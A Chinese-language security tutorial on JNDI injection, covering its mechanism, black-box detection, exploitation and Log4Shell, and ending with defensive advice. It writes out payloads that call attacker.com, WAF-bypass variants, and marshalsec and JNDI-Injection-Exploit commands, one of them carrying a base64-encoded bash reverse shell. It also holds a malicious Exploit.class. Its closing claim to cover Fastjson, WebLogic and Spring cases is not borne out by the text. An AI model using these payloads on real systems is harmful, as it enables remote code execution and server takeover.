章
目
录
JNDI注入是一种ava应用安全极具威胁的漏洞类型。对于安全从业者而言,深入了解其原理、掌握在黑盒环境下的检测与利用技巧至关重要。本文将围绕JNDI注入展开详细探讨,帮助大家提升对该漏洞的认知和应对能力。
一、JNDI注入原理
(一)核心工作逻辑
JNDI(Java Naming and Directory Interface)是Java提供的统一资源访问接口,它允许通过名称来动态加载远程对象,比如ldap://example.com/obj
这种形式。当攻击者能够操控JNDI的查找地址时,情况就变得危险起来。例如,若攻击者能将恶意服务器地址拼接到InitialContext.lookup()
方法中,目标应用就可能被诱导加载远程恶意类(像.class
或.jar
文件),最终导致远程代码执行(RCE),这意味着攻击者可以在目标系统上执行任意代码,获取敏感信息或者控制整个系统。
(二)关键依赖条件
- Java版本限制:在低版本的Java环境中(JDK ≤ 8u191/11.0.1/7u201/6u211 ),远程类加载默认是开启的,这为JNDI注入攻击提供了便利条件。在这些版本中,系统的安全性相对较弱,更容易受到攻击。
- 未过滤的输入点:目标应用中存在未经过滤的输入点,并将其传递给JNDI接口,这是JNDI注入能够得逞的另一个关键因素。常见的未过滤输入点包括日志打印处、参数解析环节等。一旦这些输入点被攻击者利用,就可能触发JNDI注入漏洞。
二、黑盒环境下发现JNDI注入漏洞
(一)识别潜在的输入点
- HTTP相关参数:HTTP请求中的参数、请求头(Headers)以及Cookie都有可能成为JNDI注入的入口。比如,在
username
参数中输入${jndi:ldap://xxx}
,以此来测试是否存在漏洞。 - 文件操作功能:文件上传和下载功能也需要重点关注。攻击者可能会在文件名或者文件内容中嵌入JNDI Payload,尝试触发漏洞。
- API接口:在API接口接收的JSON或XML数据里,用户注册信息、订单信息等字段都可能存在风险,需要进行仔细检测。
- 日志上下文:像用户代理(User – Agent)、Referer等信息,若被Log4j2这类日志框架记录,也可能成为攻击的切入点,因为这些位置的内容可能会被攻击者操控。
(二)构造探测Payload
- 基础Payload:利用
DNSLog
回显是验证JNDI注入漏洞是否存在的常用方法。例如:
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://attacker.com:1099/exploit}
通过观察DNSLog
平台上是否有对应的DNS请求记录,就能判断目标应用是否存在JNDI注入漏洞。
2. 绕过WAF的变形Payload:为了绕过Web应用防火墙(WAF)的检测,攻击者会采用各种变形技巧。例如:
${${lower:j}ndi:ldap://xxx} // 大小写混淆
${jndi:ldap://127.0.0.1#.xxx.dnslog.cn} // 利用URL解析特性
${jndi:ldap://127.0.0.1:1234/ Basic/Command/Base64/[base64-encoded-cmd]}
这些变形后的Payload可以增加攻击的隐蔽性,提高绕过WAF的成功率。
(三)借助工具辅助验证
- DNSLog平台:常见的
DNSLog
平台,如ceye.io
、dnslog.cn
等,能生成临时域名。将这些域名嵌入到探测Payload中,然后观察平台上是否有DNS请求记录,以此判断漏洞的存在与否。 - Burp Collaborator:在Burp Suite工具中,有一个Burp Collaborator功能。利用它生成特定的Collaborator地址,并替换到Payload中。通过检查是否有HTTP或DNS交互,来进一步验证JNDI注入漏洞。
三、JNDI注入的利用步骤
(一)准备攻击环境
- 搭建恶意服务器:攻击者会使用一些工具快速搭建LDAP或RMI恶意服务。例如:
# 使用marshalsec工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass"
# 使用JNDI-Injection-Exploit工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
这些工具可以帮助攻击者快速构建起用于攻击的恶意服务器环境。
2. 托管恶意类文件:攻击者还需要在Web服务器(比如使用Python的HTTP服务)上托管恶意的.class
或.jar
文件。这些恶意类文件包含了攻击者想要执行的恶意代码。
(二)生成恶意Payload
- 简单命令执行Payload:为了实现简单的命令执行,攻击者会构造类似这样的Payload:
${jndi:ldap://attacker.com:1389/Exploit}
- 反弹Shell的Payload:反弹Shell是一种更具危害性的攻击方式,不过需要对特殊字符进行编码绕过。同样可以使用类似的Payload结构:
${jndi:ldap://attacker.com:1389/Exploit}
这里的Exploit.class
恶意类文件代码示例如下:
public class Exploit {
static {
try {
// 这里的命令经过Base64编码,实际执行恶意命令
Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}");
} catch (Exception e) {}
}
}
(三)触发漏洞
攻击者将构造好的Payload发送到目标应用的输入点,比如HTTP请求参数、文件上传区域等。之后,攻击者会密切观察恶意服务器的日志,若看到类似[LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class
这样的记录,就说明目标应用可能请求了恶意类文件,漏洞被成功触发。
(四)绕过限制
- 高版本Java的应对策略:在JDK > 8u191的环境中,远程类加载默认是被禁用的。此时,攻击者可能会尝试利用本地类,像
Tomcat ELProcessor
、Groovy
等,进行二次攻击,寻找新的突破点。 - 应对上下文限制:如果Payload在传输过程中被截断或者过滤,攻击者会尝试分块传输Payload,或者使用编码混淆的方式,如Unicode编码、Hex编码等,来绕过这些限制。
四、典型案例分析:Log4j2的Log4Shell漏洞
(一)漏洞触发条件
当目标应用使用的Log4j2版本小于等于2.14.1 ,并且在日志记录过程中包含了用户可控的数据,比如HTTP请求头中的数据时,就可能触发Log4Shell漏洞。这是因为Log4j2在处理这些数据时,若遇到${jndi:ldap://...}
格式的字符串,会触发JNDI解析,从而加载远程恶意类。
(二)攻击步骤
攻击者会将Payload发送到目标应用的User – Agent字段中,例如:
GET / HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
当目标应用记录这条日志时,就会触发JNDI解析,进而加载恶意类,导致服务器被攻击。
五、防御建议
(一)升级依赖
及时将Log4j2升级到大于等于2.17.1的版本,并禁用JNDI功能,可通过设置log4j2.formatMsgNoLookups=true
来实现。这样可以有效避免Log4j2相关的JNDI注入漏洞。
(二)优化代码
在编写代码时,开发人员要避免将用户输入未经处理直接传递给InitialContext.lookup()
方法,对用户输入进行严格的过滤和校验,从源头上防止JNDI注入攻击。
(三)加固环境
使用JDK大于等于8u191/11.0.1的版本,并设置com.sun.jndi.ldap.object.trustURLCodebase=false
,以此来增强系统对JNDI注入攻击的防御能力。
(四)完善WAF规则
在Web应用防火墙(WAF)中添加针对JNDI注入的防护规则,拦截包含${jndi:<
、$%7Bjndi:<
等模式的请求,阻挡外部的攻击请求。
六、总结
在黑盒实战中,发现JNDI注入漏洞的关键在于全面寻找所有可能的输入点,并借助DNSLog等手段快速验证漏洞是否存在。而利用JNDI注入漏洞的难点在于绕过高版本JDK的限制,这往往需要结合其他漏洞链来实现。在实际操作中,合理使用工具,如marshalsec
、JNDI-Injection-Exploit
,并巧妙运用混淆技术,同时优先在测试环境中验证Payload,这些都是非常实用的技巧。
此外,文中还列举了多个实际案例,包括Fastjson反序列化漏洞中的JNDI注入、Oracle WebLogic JNDI注入、Spring框架中的JNDI注入等,通过对这些案例的分析,大家可以更深入地了解JNDI注入在不同场景下的表现形式和利用方式,从而更好地进行安全防护和漏洞检测工作。